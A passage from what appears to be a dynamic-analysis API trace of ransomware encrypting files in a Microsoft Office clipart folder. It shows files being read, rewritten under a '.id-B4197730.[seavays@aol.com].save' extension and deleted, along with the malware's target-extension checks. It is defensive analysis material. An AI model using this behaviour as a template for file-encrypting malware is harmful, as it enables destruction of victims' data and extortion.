files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.726] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.726] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0162.727] GetLastError () returned 0x0 [0162.727] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x462c, lpOverlapped=0x0) returned 1 [0162.730] WriteFile (in: hFile=0x3f4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4630, lpOverlapped=0x0) returned 1 [0162.732] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.732] WriteFile (in: hFile=0x3f4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0162.732] SetEndOfFile (hFile=0x3f4) returned 1 [0162.732] CloseHandle (hObject=0x3f4) returned 1 [0162.732] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.732] SetEndOfFile (hFile=0x3e0) returned 1 [0162.736] CloseHandle (hObject=0x3e0) returned 1 [0162.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0162.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.737] lstrlenW (lpString=".doc") returned 4 [0162.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.737] lstrlenW (lpString=".docx") returned 5 [0162.737] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0162.737] lstrlenW (lpString=".pdf") returned 4 [0162.737] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.737] lstrlenW (lpString=".xls") returned 4 [0162.737] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.737] lstrlenW (lpString=".xlsx") returned 5 [0162.737] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0162.737] lstrlenW (lpString=".ppt") returned 4 [0162.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString=".zip") returned 4 [0162.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.738] lstrlenW (lpString=".rar") returned 4 [0162.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.738] lstrlenW (lpString=".bz2") returned 4 [0162.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.738] lstrlenW (lpString=".7z") returned 3 [0162.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString=".dbf") returned 4 [0162.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString=".1cd") returned 4 [0162.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString=".jpg") returned 4 [0162.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.738] lstrlenW (lpString=".doc") returned 4 [0162.738] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.738] lstrlenW (lpString=".docx") returned 5 [0162.738] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0162.738] lstrlenW (lpString=".pdf") returned 4 [0162.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.738] lstrlenW (lpString=".xls") returned 4 [0162.739] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.739] lstrlenW (lpString=".xlsx") returned 5 [0162.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0162.739] lstrlenW (lpString=".ppt") returned 4 [0162.739] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.739] lstrlenW (lpString=".zip") returned 4 [0162.739] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.739] lstrlenW (lpString=".rar") returned 4 [0162.739] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.739] lstrlenW (lpString=".bz2") returned 4 [0162.739] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.739] lstrlenW (lpString=".7z") returned 3 [0162.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.739] lstrlenW (lpString=".dbf") returned 4 [0162.739] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.739] lstrlenW (lpString=".1cd") returned 4 [0162.739] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0162.739] lstrlenW (lpString=".jpg") returned 4 [0162.739] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.740] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0162.740] lstrlenW (lpString="J0099193.GIF") returned 12 [0162.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.741] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=35546) returned 1 [0162.741] CloseHandle (hObject=0x3e0) returned 1 [0162.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0162.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.741] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.741] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.178] GetLastError () returned 0x0 [0163.178] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x8ada, lpOverlapped=0x0) returned 1 [0163.181] WriteFile (in: hFile=0x448, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0163.183] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0163.183] WriteFile (in: hFile=0x448, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0163.184] SetEndOfFile (hFile=0x448) returned 1 [0163.184] CloseHandle (hObject=0x448) returned 1 [0163.184] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.184] SetEndOfFile (hFile=0x3e0) returned 1 [0163.188] CloseHandle (hObject=0x3e0) returned 1 [0163.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0163.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.189] lstrlenW (lpString=".doc") returned 4 [0163.189] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.189] lstrlenW (lpString=".docx") returned 5 [0163.189] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0163.189] lstrlenW (lpString=".pdf") returned 4 [0163.189] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.189] lstrlenW (lpString=".xls") returned 4 [0163.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.190] lstrlenW (lpString=".xlsx") returned 5 [0163.190] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0163.190] lstrlenW (lpString=".ppt") returned 4 [0163.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.190] lstrlenW (lpString=".zip") returned 4 [0163.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.190] lstrlenW (lpString=".rar") returned 4 [0163.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.190] lstrlenW (lpString=".bz2") returned 4 [0163.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.190] lstrlenW (lpString=".7z") returned 3 [0163.190] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.190] lstrlenW (lpString=".dbf") returned 4 [0163.190] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.190] lstrlenW (lpString=".1cd") returned 4 [0163.190] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.190] lstrlenW (lpString=".jpg") returned 4 [0163.190] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.191] lstrlenW (lpString=".doc") returned 4 [0163.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.191] lstrlenW (lpString=".docx") returned 5 [0163.191] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0163.191] lstrlenW (lpString=".pdf") returned 4 [0163.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.191] lstrlenW (lpString=".xls") returned 4 [0163.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.191] lstrlenW (lpString=".xlsx") returned 5 [0163.191] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0163.191] lstrlenW (lpString=".ppt") returned 4 [0163.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.191] lstrlenW (lpString=".zip") returned 4 [0163.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.191] lstrlenW (lpString=".rar") returned 4 [0163.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.191] lstrlenW (lpString=".bz2") returned 4 [0163.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.191] lstrlenW (lpString=".7z") returned 3 [0163.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.191] lstrlenW (lpString=".dbf") returned 4 [0163.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.191] lstrlenW (lpString=".1cd") returned 4 [0163.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0163.192] lstrlenW (lpString=".jpg") returned 4 [0163.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.192] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.192] lstrlenW (lpString="J0099198.GIF") returned 12 [0163.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0163.193] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5259) returned 1 [0163.193] CloseHandle (hObject=0x3e0) returned 1 [0163.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0163.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0163.194] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.194] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.195] GetLastError () returned 0x0 [0163.195] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x148b, lpOverlapped=0x0) returned 1 [0163.197] WriteFile (in: hFile=0x448, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1490, lpOverlapped=0x0) returned 1 [0163.198] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0163.198] WriteFile (in: hFile=0x448, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0163.199] SetEndOfFile (hFile=0x448) returned 1 [0163.199] CloseHandle (hObject=0x448) returned 1 [0163.199] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.199] SetEndOfFile (hFile=0x3e0) returned 1 [0163.206] CloseHandle (hObject=0x3e0) returned 1 [0163.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.207] lstrlenW (lpString=".doc") returned 4 [0163.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.207] lstrlenW (lpString=".docx") returned 5 [0163.207] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0163.207] lstrlenW (lpString=".pdf") returned 4 [0163.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.207] lstrlenW (lpString=".xls") returned 4 [0163.207] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.207] lstrlenW (lpString=".xlsx") returned 5 [0163.207] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0163.207] lstrlenW (lpString=".ppt") returned 4 [0163.207] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.207] lstrlenW (lpString=".zip") returned 4 [0163.207] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.207] lstrlenW (lpString=".rar") returned 4 [0163.208] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.208] lstrlenW (lpString=".bz2") returned 4 [0163.208] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.208] lstrlenW (lpString=".7z") returned 3 [0163.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.208] lstrlenW (lpString=".dbf") returned 4 [0163.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.208] lstrlenW (lpString=".1cd") returned 4 [0163.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.208] lstrlenW (lpString=".jpg") returned 4 [0163.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.208] lstrlenW (lpString=".doc") returned 4 [0163.208] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.208] lstrlenW (lpString=".docx") returned 5 [0163.208] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0163.208] lstrlenW (lpString=".pdf") returned 4 [0163.208] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.208] lstrlenW (lpString=".xls") returned 4 [0163.208] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.208] lstrlenW (lpString=".xlsx") returned 5 [0163.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0163.209] lstrlenW (lpString=".ppt") returned 4 [0163.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.209] lstrlenW (lpString=".zip") returned 4 [0163.209] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.209] lstrlenW (lpString=".rar") returned 4 [0163.209] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.209] lstrlenW (lpString=".bz2") returned 4 [0163.209] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.209] lstrlenW (lpString=".7z") returned 3 [0163.209] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.209] lstrlenW (lpString=".dbf") returned 4 [0163.209] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.209] lstrlenW (lpString=".1cd") returned 4 [0163.209] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0163.209] lstrlenW (lpString=".jpg") returned 4 [0163.209] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.209] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.209] lstrlenW (lpString="J0099199.GIF") returned 12 [0163.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0163.504] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=33975) returned 1 [0163.504] CloseHandle (hObject=0x344) returned 1 [0163.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0163.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.257] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.257] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft 